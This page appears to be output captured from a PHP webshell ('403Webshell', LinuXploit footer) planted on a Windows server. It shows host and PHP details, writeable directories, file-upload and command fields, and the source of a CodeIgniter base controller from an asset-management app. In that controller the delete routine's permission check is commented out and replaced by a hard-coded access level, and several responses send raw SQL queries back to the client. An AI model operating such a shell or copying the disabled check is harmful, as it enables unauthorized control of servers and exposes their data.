403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/simbada_2019/application/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/simbada_2019/application/core/Induk_Controller.php
<?php
if( ! defined('BASEPATH')) exit('No direct script access allowed');

class Induk_Controller extends CI_Controller {
  var $data_model;
  var $search_param;
  var $page;
  var $limit;
  var $modul_name;
  var $modul_display;
  var $view_daftar;
  var $view_form;
	var $report_daftar;
	var $message_berhasil_dihapus  = 'Data telah dihapus';
	var $message_gagal_dihapus  = 'Data tidak bisa dihapus';  

  public function __construct()
  {
    parent::__construct();
		
		// cek apakah mode maintenance aktif
    // untuk admin, mode maintenance tidak berpengaruh
    $this->maintenance = isset($this->app_config['maintenance']) ? $this->app_config['maintenance'] : '0';
    if ($this->maintenance == '1' )
    {
      if ($this->uri->segment(1)  !== 'admin' && $this->session->userdata('admin') != 1)
      {
        $this->session->sess_destroy();
        $this->load->view('maintenance');
        $this->output->_display();
        die();
      }
    }
		
		$this->app_id = 'SIMBD';
    
    if ($this->session->userdata('login')){
      $this->tahun = $this->session->userdata('tahun');
      $this->status = $this->session->userdata('status');
      $this->username = $this->session->userdata('username');
      $this->admin = $this->session->userdata('admin');
      $this->group = $this->session->userdata('group');
      $this->id_skpd = $this->session->userdata('id_skpd');
      $this->id_kd_lokasi = $this->session->userdata('id_kd_lokasi');
      $this->ppkd = $this->session->userdata('ppkd');
      $this->roles = $this->session->userdata('roles');
    }

    // cek apakah konfigurasi database sudah benar,
    // conn_id => null, jika database tidak bisa di akses
    if (!$this->db->conn_id)
    {
      show_error('Database tidak bisa diakses. Cek konfigurasi.');
    }

    //versi Database dan versi aplikasi harus sama
		$versi_db = get_db_version();
		$versi_app = get_app_version();

    if ($versi_db !== $versi_app)
    {
      show_error('Versi Database tidak sama dengan Versi Aplikasi.');
    }
    
    // cek apakah file appconfig ada
    $appconfig = 'appconfig';
    $appconfig_path = APPPATH.'config/';
    $this->app_config_file = $appconfig_path.$appconfig.'.php';

    if (!file_exists($this->app_config_file))
    {
      show_error('File konfigurasi tidak ditemukan.');
    }

    // load konfigurasi
    $this->load->config($appconfig, TRUE);
    $this->app_config = $this->config->item($appconfig);

    $user_data = $this->session->userdata;
    $this->load->vars($user_data);  
  }

	public function index()
	{
		$this->daftar();
	}

	protected function get_data_fields()
	{
		// di override
	}

	protected function daftar()
	{
		// di override
	}

	public function get_daftar()
	{
		$this->page = $this->input->post('page') ? $this->input->post('page') : 0; // get the requested page
		$this->limit = $this->input->post('rows') ? $this->input->post('rows') : 0; // get how many rows we want to have into the grid
		$sidx = $this->input->post('sidx') ? $this->input->post('sidx') : ''; // get index row - i.e. user click to sort
		$sord = $this->input->post('sord') ? $this->input->post('sord') : ''; // get the direction if(!$sidx) $sidx =1;

		/* untuk keperluan pencarian */
		$mode  = $this->input->post('m') ? $this->input->post('m') : '';
		$q = $this->input->post('q') ? $this->input->post('q') : '';

		$this->search_param = array (
			"sort_by" => $sidx,
			"sort_direction" => $sord,
			"search_mode" => $mode,
			"q" => $q,
		);
	}

	public function form($id=0)
	{
	}

	protected function validasi_form()
	{
		return TRUE;
	}

	public function proses()
	{
		$response = (object) NULL;
		$this->load->model('auth/login_model', 'auth');
		$akses = $this->auth->get_level_akses($this->uri->slash_segment(1));
		// $akses = 3;
		if($akses == '3')
		{
			$this->load->library('form_validation');

			$this->validasi_form();

			if($this->form_validation->run() == TRUE)
			{
				$exist = $this->data_model->cek_exist();
				if($exist > 0){
					$changed = $this->data_model->cek_changed();
					
					if($changed == 1 || $this->input->post('param') == 1){
						$this->data_model->fill_data();
						$success = $this->data_model->save_data();

						if($success){
							$response->isSuccess = TRUE;
							$response->message = 'Data berhasil disimpan';
							$response->id = $this->data_model->id;
							$response->nomor = $this->data_model->nomor;
							
							$response->last_changed = $this->data_model->last_changed;
							$response->sql = $this->db->queries;
						}
						else
						{
							$response->isSuccess = FALSE;
							$response->message = 'Data gagal disimpan';
							$response->last_changed = $this->data_model->last_changed;
							$response->error = $this->data_model->last_error_message;
							$response->sql = $this->db->queries;
						}
					}
					else{
						$response->isSuccess = FALSE;
						$response->message = 'Data sudah diubah user lain';
						$response->error = 'changed';
						$response->id = $this->input->post('id');
						$response->sql = $this->db->queries;
					}
				}
				else{
					$response->isSuccess = FALSE;
					$response->message = 'Data sudah dihapus user lain';
					$response->error = 'hapus';
					$response->id = $this->input->post('id');
					$response->sql = $this->db->queries;
				}
			}
			else
			{
				$response->isSuccess = FALSE;
				$response->sql = $this->db->queries;
				$response->message = validation_errors();
			}
		}
		else
		{
			$response->isSuccess = FALSE;
			$response->message = 'Proses Gagal, Anda tidak memiliki hak akses';
		}
		
		echo json_encode($response);
	}

	public function hapus()
	{
		$response = (object) NULL;
		//$this->load->model('auth/login_model', 'auth');
		//$akses = $this->auth->get_level_akses($this->uri->slash_segment(1));
		$akses = 3;
		
		if($akses !== 3)
		{
			$response->isSuccess = FALSE;
			$response->message = 'Anda tidak memiliki Hak akses.';
			echo json_encode($response);
			return;
		}

		$id = $this->input->post('id');		
			
		$exist = $this->data_model->cek_exist();
		if($exist > 0){			
			$result = $this->data_model->check_dependency($id);
			if($result)
			{		
				// bisa dihapus
				$hapus = $this->data_model->delete_data($id);
				if ($hapus)
				{
					$response->isSuccess = TRUE;
					$response->message = $this->message_berhasil_dihapus;
				}
				else
				{
					$response->isSuccess = FALSE;
					$response->message = 'Proses hapus tidak berhasil.';
					$response->error = $this->data_model->last_error_message;
				}			
			}
			else
			{
				// ada dependency, tampilkan pesan kesalahan
				$response->isSuccess = FALSE;
				$response->message = $this->message_gagal_dihapus;
			}
		}
		else{
			$response->isSuccess = FALSE;
			$response->message = 'Data sudah dihapus user lain';
			$response->error = 'exist';
			$response->sql = $this->db->queries;
		}
		$response->sql = $this->db->queries;
		echo json_encode($response);
	}
	
  public function prev($id=0)
  {
    $response = (object) NULL;
    $response->isSuccessful = FALSE;
    if ($id!==0)
    {
      $result = $this->data_model->get_prev_id($id);
      if ($result)
      {
        $response->isSuccessful = TRUE;
        $response->id = $result;
      }
    }
    echo json_encode($response);
  }

  public function next($id=0)
  {
    $response = (object) NULL;
    $response->isSuccessful = FALSE;
    if ($id!==0)
    {
      $result = $this->data_model->get_next_id($id);
      if ($result)
      {
        $response->isSuccessful = TRUE;
        $response->id = $result;
      }
    }
    echo json_encode($response);
  }
	
	/* 
		Module : 
		- Mutasi Hibah Masuk
	*/
	public function get_sumber_dana()
	{
		$keyword = $this->input->post('term', TRUE);
		$this->data_model->get_sumber_dana($keyword);
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit